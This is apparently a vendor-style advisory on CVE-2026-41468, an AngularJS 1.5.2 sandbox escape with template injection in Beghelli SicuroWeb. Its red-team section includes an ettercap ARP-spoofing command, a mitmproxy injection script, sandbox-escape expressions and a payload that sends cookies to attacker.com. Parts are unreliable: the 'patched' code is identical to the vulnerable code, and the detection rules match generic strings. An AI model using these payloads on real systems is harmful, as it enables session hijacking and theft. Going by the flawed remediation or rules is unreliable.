CVE-2026-41468

Executive Summary

CVE-2026-41468 exposes a critical security flaw in Beghelli Sicuro24 SicuroWeb, a physical security and access control platform. The application embeds AngularJS version 1.5.2, which is an end-of-life (EOL) component with known sandbox escape primitives. When combined with a template injection vulnerability present in the same application, an attacker can escape the AngularJS sandbox and achieve arbitrary JavaScript execution in operator browser sessions. This enables session hijacking, DOM manipulation, and persistent browser compromise. The attack vector is network-adjacent, delivered via Man-in-the-Middle (MITM) on plaintext HTTP deployments, requiring no active user interaction. The CVSS score is 8.7 (High), and no patch is currently available.

Supply Chain & Package Security

This vulnerability is rooted in the use of an outdated, EOL third-party component (AngularJS 1.5.2) within the Beghelli SicuroWeb application. The supply chain risk is significant because the vendor has not updated the AngularJS dependency, leaving the application exposed to known sandbox escape techniques. Organizations using this product must treat the entire application as compromised until a patch is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Adjacent Network (AV:A) – The attacker must be on the same network segment as the target.
• Attack Complexity (AC): Low (AC:L) – No special conditions required beyond MITM capability.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): Required (UI:R) – The operator must be using the web interface.
• Scope (S): Changed (S:C) – The compromise affects the browser session, not just the application.
• Confidentiality (C): High (C:H) – Session data and credentials can be stolen.
• Integrity (I): High (I:H) – Arbitrary JavaScript execution allows DOM manipulation.
• Availability (A): High (A:H) – Persistent compromise can disrupt operations.

Threat Level: High – Exploitation is straightforward for network-adjacent attackers, and the impact on operator sessions is severe.

Deep Dive & Mechanics

The vulnerability chain consists of two components:

1. AngularJS Sandbox Escape (CVE-2026-41468 core): AngularJS 1.5.2 has known sandbox escape primitives (e.g., using a or constructor constructs). These allow an attacker to break out of the AngularJS expression sandbox and execute arbitrary JavaScript in the context of the application.

2. Template Injection: The SicuroWeb application has a template injection vulnerability that allows an attacker to inject AngularJS expressions into the DOM. This is likely due to unsanitized user input being rendered in AngularJS templates.

Attack Chain:

• The attacker performs a MITM attack on plaintext HTTP traffic between the operator browser and the SicuroWeb server.
• The attacker injects a malicious AngularJS expression into a template (e.g., via a URL parameter or form field).
• The expression uses sandbox escape primitives to execute arbitrary JavaScript.
• The JavaScript payload can steal session cookies, modify DOM content, or establish persistence (e.g., via a service worker or XSS).

Key Primitives (AngularJS 1.5.2):

• {{a='constructor';b='alert(1)';a.constructor(b)()}}
• {{c=''.sub;d='constructor';c[d][d]('alert(1)')()}}

These primitives are well-documented and publicly available.

Vulnerable vs. Patched Code

Vulnerable Code (AngularJS 1.5.2): The application includes AngularJS 1.5.2 as a static asset. The sandbox is present but easily bypassed.

<script src="/static/angular.min.js"></script>

Patched Code (Hypothetical): A patch would involve upgrading AngularJS to a supported version (e.g., 1.8.x) or removing AngularJS entirely. Additionally, input sanitization must be implemented to prevent template injection.

<script src="/static/angular.min.js"></script>
<!-- Upgrade to AngularJS 1.8.3 or later -->

Note: No official patch is available from Beghelli at this time.

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: Beghelli Sicuro24 SicuroWeb running on HTTP (port 80).
• Attacker: Kali Linux with MITM tools (e.g., mitmproxy, ettercap).
• Operator: Browser accessing the SicuroWeb interface.

Exploitation Steps:

1. MITM Setup: Use ettercap to ARP spoof the operator and server.

   sudo ettercap -T -M arp:remote /operator_ip/ /server_ip/
   

2. Inject Payload: Use mitmproxy to intercept HTTP responses and inject the AngularJS sandbox escape payload.

   # mitmproxy script
   def response(flow):
       if "angular" in flow.request.pretty_url:
           flow.response.text = flow.response.text.replace(
               "</body>",
               "<script>angular.module('app').run(function($rootScope) { $rootScope.msg = '{{a=\"constructor\";b=\"alert(1)\";a.constructor(b)()}}'; });</script></body>"
           )
   

3. Trigger: The operator loads a page that renders the injected expression, executing the payload.

Payload Example:

// Sandbox escape to steal cookies
var payload = '{{a="constructor";b="document.location=\'http://attacker.com/?c=\'+document.cookie";a.constructor(b)()}}';

Blue Team

Detection:

• Monitor for ARP spoofing or MITM indicators (e.g., duplicate IP addresses, unusual ARP traffic).
• Inspect HTTP traffic for AngularJS sandbox escape patterns (e.g., constructor, sub).
• Use Wireshark to filter for suspicious JavaScript in HTTP responses.

Mitigation:

• Enforce HTTPS on all SicuroWeb traffic.
• Implement HSTS headers to prevent downgrade attacks.
• Use network segmentation to isolate the SicuroWeb server from untrusted networks.

Indicators of Compromise (IOCs)

• Network:

  • HTTP responses containing AngularJS sandbox escape strings (e.g., constructor, sub).
  • Unusual ARP traffic indicating spoofing.
  • Outbound connections from operator browser to attacker-controlled IPs.

• Host:

  • Browser console logs showing AngularJS sandbox errors.
  • Unexpected JavaScript execution in the context of SicuroWeb.

• File:

  • Modified AngularJS files (if attacker can write to server).
  • Presence of malicious service workers.

Detection Engineering

YARA Rule

rule CVE_2026_41468_AngularJS_Sandbox_Escape {
    meta:
        description = "Detects AngularJS sandbox escape patterns in HTTP responses"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-41468"
    strings:
        $escape1 = "constructor" ascii wide nocase
        $escape2 = "sub" ascii wide nocase
        $escape3 = "angular" ascii wide nocase
        $escape4 = "1.5.2" ascii wide nocase
    condition:
        all of ($escape*) and filesize < 10MB
}

Sigma Rule

title: CVE-2026-41468 - AngularJS Sandbox Escape in HTTP Response
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP responses containing AngularJS sandbox escape patterns
author: Valters IT
date: 2026-01-01
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        http.response_body|contains:
            - 'constructor'
            - 'sub'
            - 'angular'
            - '1.5.2'
    condition: selection
falsepositives:
    - Legitimate use of AngularJS 1.5.2 (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-41468 - AngularJS Sandbox Escape Detected"; flow:to_server,established; content:"constructor"; http_client_body; nocase; content:"sub"; http_client_body; nocase; content:"angular"; http_client_body; nocase; content:"1.5.2"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Enforce HTTPS: Disable plaintext HTTP and redirect all traffic to HTTPS.
2. Network Segmentation: Isolate the SicuroWeb server on a separate VLAN with strict access controls.
3. Monitor for MITM: Deploy ARP spoofing detection tools (e.g., arpwatch).

Long-Term Fix:

• Upgrade AngularJS: Replace AngularJS 1.5.2 with a supported version (e.g., 1.8.x) or migrate to a modern framework.
• Input Sanitization: Implement strict input validation and output encoding to prevent template injection.
• Vendor Patch: Await an official patch from Beghelli. Contact their support for updates.

Workaround:

• Use a Web Application Firewall (WAF) to block known AngularJS sandbox escape patterns.
• Implement Content Security Policy (CSP) headers to restrict inline script execution.

Valters IT

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